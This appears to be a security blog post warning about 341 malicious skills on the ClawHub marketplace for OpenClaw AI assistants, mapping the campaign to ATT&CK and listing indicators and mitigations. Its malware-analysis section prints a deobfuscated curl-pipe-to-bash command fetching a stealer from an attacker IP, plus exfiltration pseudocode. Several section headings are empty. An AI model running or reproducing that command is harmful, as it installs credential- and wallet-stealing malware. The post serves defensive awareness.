🔍 Alert: 341 Malicious ClawHub Skills Exposed in OpenClaw Supply Chain Attack

---

A recent security audit uncovered 341 malicious skills on ClawHub, the marketplace for OpenClaw AI assistants. These malicious skills distribute Atomic Stealer malware and backdoors, putting thousands of users at risk. Here's everything you need to know to protect yourself.

---

---

🔎 Understanding the ClawHub Malicious Skills Attack

Researchers from Koi Security, aided by an OpenClaw bot named Alex, analyzed 2,857 skills on ClawHub, the official marketplace for OpenClaw (a self-hosted AI assistant). They discovered 341 malicious skills across multiple campaigns, now dubbed ClawHavoc.

These malicious skills masquerade as legitimate tools: crypto trackers, Google Workspace add-ons, social media analyzers, and even “lost Bitcoin finders”. Once installed, they steal API keys, wallet private keys, credentials, and browser data.

Attackers specifically target macOS users because many enthusiasts run OpenClaw on Mac Minis 24/7. The campaign uses social engineering to trick victims into executing malicious code.

---

🕵️ Step-by-Step: How the ClawHub Attack Unfolds

---

⚙️ Technical Deep Dive: Malware Analysis

Password-Protected Archive (Windows)

The file openclaw-agent.zip contains a binary that, when executed, installs a keylogger. Below is a simplified representation of its behavior:

// Pseudocode of the trojan
function install() {
    registerKeyLogger();
    hookBrowserProcesses();
    stealOpenClawEnv();
    exfiltrateToC2("http://91.92.242[.]30/collect");
}

Obfuscated macOS Payload

The glot.io script uses base64 obfuscation to hide its intent. Deobfuscated, it reveals:

#!/bin/bash
curl -s http://91.92.242[.]30/next.sh | bash
# next.sh downloads and runs Atomic Stealer (Mach-O binary)

Atomic Stealer (AMOS) is a known malware-as-a-service costing $500–$1000/month, capable of grabbing passwords, credit cards, and cryptocurrency wallets.

---

📊 MITRE ATT&CK Techniques Mapping

Tactic	Technique	ID	How Used
Initial Access	Supply Chain Compromise	T1195.001	Malicious skills in official ClawHub marketplace
Execution	User Execution	T1204	Victim downloads/installs fake prerequisites
Credential Access	Credentials from Password Stores	T1555	Atomic Stealer extracts browser & wallet credentials
Collection	Input Capture (Keylogging)	T1056	Windows trojan logs keystrokes
Command and Control	Application Layer Protocol	T1071	HTTP communication with C2 91.92.242.30
Exfiltration	Exfiltration Over Webhook	T1567	Data sent to webhook.site or attacker IP

---

⚠️ Common Mistakes & Best Practices

---

🛡️ Red Team vs Blue Team View

---

🔧 OpenClaw's Response & Reporting Mechanism

After the disclosure, OpenClaw creator Peter Steinberger added a reporting feature. Signed-in users can flag skills, with each user limited to 20 active reports. Skills receiving 3 unique reports are auto-hidden by default. While this helps, it's reactive, malicious skills can still cause damage before being reported.

Longer-term, experts recommend code signing, mandatory code reviews for popular skills, and sandboxing of OpenClaw executions.

---

---

❓ Frequently Asked Questions

---

🔑 Key Takeaways

• 341 malicious skills were found on ClawHub, part of the ClawHavoc campaign.
• Attackers use fake prerequisites to deliver Atomic Stealer (macOS) and keylogging trojans (Windows).
• This is a supply chain attack targeting the OpenClaw ecosystem.
• Always scrutinize any external download or script command, even from seemingly professional skills.
• Use the new reporting feature and monitor for IOC: IP 91.92.242.30 and domains glot[.]io, webhook[.]site.
• Isolate OpenClaw instances and limit their access to sensitive credentials.

---

🚀 Call to Action

If you're an OpenClaw user, take these steps today:

• Review your installed skills and remove any that requested suspicious prerequisites.
• Report any suspicious skills via the new OpenClaw interface.
• Monitor your network for connections to 91.92.242.30 or similar.
• Share this post with fellow OpenClaw enthusiasts to spread awareness.

For further reading, check out these resources:

• Koi Security's original report (DoFollow)
• OpenSourceMalware analysis (DoFollow)
• Palo Alto Networks on OpenClaw risks (DoFollow)
• OpenClaw official reporting docs (DoFollow)
• MITRE ATT&CK: Supply Chain Compromise (DoFollow)